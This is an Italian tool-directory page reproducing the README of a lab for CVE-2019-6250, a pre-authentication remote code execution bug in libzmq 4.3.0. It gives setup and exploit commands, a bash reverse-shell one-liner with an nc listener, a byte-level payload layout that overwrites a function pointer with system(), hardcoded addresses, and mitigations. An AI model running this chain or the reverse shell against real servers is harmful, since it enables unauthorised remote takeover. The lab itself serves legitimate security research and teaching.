Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2019-6250-lab — Laboratorio RCE pre-autenticazione end-to-end per CVE-2019-6250 (libzmq <= 4.3.0, ZMTP/2.0 wire-protocol) | Kitploit
Strumenti/GitHubGitHub/dinosn/cve-2019-6250-lab
Analisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneStrumento di Accesso RemotoSviluppo PayloadBinary ExploitationLab e Pratica
GitHubdinosn/cve-2019-6250-lab

cve-2019-6250-lab

Laboratorio RCE pre-autenticazione end-to-end per CVE-2019-6250 (libzmq <= 4.3.0, ZMTP/2.0 wire-protocol)

Vedi Repository
34 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-6250 — laboratorio RCE pre-autenticazione libzmq

CVE CVSS Affected License

Catena RCE funzionante end-to-end + laboratorio riproducibile per CVE-2019-6250, l'heap-buffer-overflow pre-autenticazione in libzmq's v2_decoder_t::size_ready. Un overflow aritmetico di puntatore uint64_t consente a un peer non autenticato di sovrascrivere il puntatore a funzione msg_t::content_t::ffn adiacente sul percorso ZMTP/2.0, quindi attivarlo tramite la chiusura del socket TCP → ~v2_decoder_t() → → .

_in_progress.close()
system(cmd)

Di Nicolas Krassas (@dinosn).

Solo per uso in laboratorio. Questo kit include una versione intenzionalmente vulnerabile di libzmq 4.3.0. Non esporre la porta 5555 al di fuori del laboratorio. Il bug è stato corretto sette anni fa in libzmq 4.3.1 (commit 1a2ed127).


Demo

Catena system() — prova su file

system chain

Reverse shell — root interattivo

reverse shell

Test di fumo automatico end-to-end

smoke test


TL;DR (Docker)

root@kitploit:~
docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
           -p 5555:5555 cve-2019-6250-lab

# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250        # <-- created by the libzmq server process

TL;DR (hardware reale — Debian 12 / Kali 2024.x / Ubuntu 22.04)

root@kitploit:~
sudo ./setup.sh                       # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh                # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555           # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250

Reverse shell

root@kitploit:~
# terminal 1 — listener
nc -lvnp 4444

# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'

Dovresti vedere qualcosa del genere:

root@kitploit:~
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#

La riga cannot set terminal process group (1355844) conferma che la shell è stata generata dal processo target libzmq (PID 1355844), non da qualcosa che hai eseguito localmente.


Struttura del repository

root@kitploit:~
.
├── README.md             # you are here
├── server.c              # tiny PULL listener — the vulnerable target
├── exploit.py            # full RCE chain
├── setup.sh              # bare-metal provisioner (clones + builds libzmq 4.3.0)
├── start_server.sh       # start/restart the target
├── read_addresses.sh     # regenerate the address profile for a different image
├── run_lab_test.sh       # automated end-to-end smoke test (CI-friendly)
├── Dockerfile            # one-command containerised lab
└── screenshots/          # README screenshots (generated with charmbracelet/freeze)

Meccanismi

1. Il bug

src/v2_decoder.cpp:117 (libzmq 4.3.0):

root@kitploit:~
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
              || ((unsigned char *) read_pos_ + msg_size_         //  <-- wraps
                  > (allocator.data () + allocator.size ())))) {
    rc = _in_progress.init_size (static_cast<size_t> (msg_size_));   // safe path
} else {
    rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
                            allocator.buffer (), allocator.provide_content ());
    // zero-copy aliasing path — _in_progress.data() == read_pos_
}

msg_size_ è il uint64_t big-endian controllato dall'attaccante dall'intestazione del frame LARGE ZMTP/2.0. Con msg_size_ = 0xFFFFFFFFFFFFFFFF, la somma read_pos_ + msg_size_ avvolge modulo 2⁶⁴ e risulta minore del lato destro. Il controllo dei limiti valuta false → l'esecuzione cade nel percorso zero-copy → il messaggio _in_progress aliasa il buffer di ricezione. Il decoder quindi chiede al kernel 0xFFFFFFFFFFFFFFFF byte aggiuntivi a read_pos_, e recv() scrive allegramente il nostro payload oltre la fine del buffer di ricezione nell'array content_t[] adiacente (allocato nello stesso blocco malloc() a decoder_allocators.cpp:88).

2. La catena

root@kitploit:~
[ atomic_counter_t (refcnt) ]   8 bytes
[ recv buffer ]                 8192 bytes  ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
                                ↑ content_t[0] starts at read_pos_+8183

Inviamo 8224 byte di payload strutturati in modo che:

offset payloadbytecosa sovrascrive
[0:16]riempimento(nel buffer di ricezione)
[16:K]stringa di comando + NUL(nel buffer di ricezione — arg di system)
[K:8183]riempimento(nel buffer di ricezione)
[8183:8191]read_pos+16content_t[0].data (→ comando)
[8191:8199]0content_t[0].size
[8199:8207]&systemcontent_t[0].ffn (obiettivo del flusso di controllo)
[8207:8215]0content_t[0].hint
[8215:8223]0content_t[0].refcnt

Quando chiudiamo il socket TCP, il server chiama _in_progress.close() in ~v2_decoder_t(). In msg_t::close:

root@kitploit:~
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
    content->ffn(content->data, content->hint);     //  -> system(cmd)
}

init_external_storage imposta _u.zclmsg.flags = 0, quindi la scorciatoia OR prende subito il ramo — refcnt non viene nemmeno controllato. La nostra ffn sovrascritta viene eseguita.

Niente ROP, niente shellcode, niente info-leak: solo una risoluzione di simbolo libc e una stringa di comando inline.

3. Raggiungere v2_decoder_t pre-autenticazione

Guardando stream_engine.cpp:707:

root@kitploit:~
bool zmq::stream_engine_t::handshake_v2_0 ()
{
    if (_session->zap_enabled ()) { error (...); return false; }
    _encoder = new v2_encoder_t (...);
    _decoder = new v2_decoder_t (...);     // <-- NO mechanism object
    return true;
}

Il percorso ZMTP/2.0 istanzia v2_decoder_t senza meccanismo. Solo ZAP rifiuta le connessioni 2.0, e ZAP è disattivato di default. Una volta che un peer invia il saluto ZMTP/2.0 di 12 byte (0xff + 8 null + 0x7f + revisione 0x01 + tipo di socket), ogni byte successivo viene analizzato da v2_decoder_t. Nessuna autenticazione. Nessun handshake. Nessuna macchina a stati del meccanismo.


Evidenza ASAN

Opzionale: compila con -fsanitize=address e guarda il report dell'heap-buffer-overflow:

asan report

Il messaggio 0 bytes after 18160-byte region conferma la dimensione del chunk che abbiamo calcolato: 8 (atomic_counter) + 8192 (buffer di ricezione) + 249 × 40 (array content_t) = 18160. Il sito di allocazione a handshake_v2_0:719 conferma che il bug si attiva sul percorso ZMTP/2.0 pre-autenticazione.


Perché indirizzi hardcoded

Con kernel.randomize_va_space=0, la base di libc, la base di libzmq, l'heap e l'arena malloc del thread I/O sono tutti a indirizzi deterministici. Il profilo predefinito in exploit.py (DEFAULT_PROFILE) è stato catturato per la build del laboratorio fornita (Debian 12 / Kali 2024.1 / glibc 2.38, libzmq 4.3.0 in modalità release -O2):

campovalorefonte
libc_base0x7ffff7c00000/proc/<pid>/maps
system_off0x53910nm -D /lib/x86_64-linux-gnu/libc.so.6
read_pos0x7ffff000bbc1_buf + sizeof(atomic_counter_t) + 9
dist_to_content8183derivato dal layout
cmd_offset16dove nel payload mettiamo il comando

Quando si porta su una diversa build di glibc / libzmq, esegui ./read_addresses.sh > profile.json dopo start_server.sh, quindi passa --profile profile.json all'exploit.

In un attacco reale avresti bisogno di una primitiva di info-leak o di una chiamata one-gadget che non richieda il controllo degli argomenti. Entrambe sono al di fuori dello scopo di questo laboratorio — l'obiettivo qui è dimostrare chiaramente la pipeline dal bug alla shell, non sconfiggere ASLR.


Mitigazioni

DifesaEffetto
Aggiornamento a libzmq ≥ 4.3.1Corretto. Il commit 1a2ed127 riscrive il controllo dei limiti come msg_size_ > size_t(allocator.data()+size()-read_pos_) — nessun overflow possibile.
zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) con qualsiasi n positivoMitiga. Interrompe il controllo dei limiti difettoso prima che possa avvolgere.
Abilitazione dell'autenticazione ZAPBlocca le connessioni ZMTP/2.0 (rifiutate a stream_engine.cpp:709). Non corregge il bug; impedisce solo il percorso non autenticato.
ASLRRallenta l'armamento ma non lo impedisce — la primitiva della catena non è influenzata.
Stack canaries / NX / RELRONessuna di queste protegge da un dirottamento di puntatore a funzione nell'heap.

Pulizia

root@kitploit:~
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2     # restore default ASLR

Riferimenti

  • HackerOne #477073 — divulgazione originale (Guido Vranken).
  • zeromq/libzmq PR #3353 — la correzione di una riga.
  • zeromq/libzmq issue #3351 — discussione pubblica.
  • NVD CVE-2019-6250.
  • 37/ZMTP — specifica del protocollo di trasporto messaggi ZeroMQ.
  • Resoconto SystemTek.

Autore

Nicolas Krassas — @dinosn

Licenza

MIT © Nicolas Krassas. Il codice sorgente intenzionalmente vulnerabile di libzmq 4.3.0 viene recuperato al momento della build dal repository upstream con licenza LGPLv3-con-eccezioni / MPLv2 — la sua licenza si applica separatamente a quel codice.

Dichiarazione di esclusione di responsabilità

Solo per ricerca sulla sicurezza difensiva, istruzione e test di sicurezza autorizzati. Non distribuire la build vulnerabile fornita al di fuori di un ambiente di laboratorio isolato.

Scarica lo strumento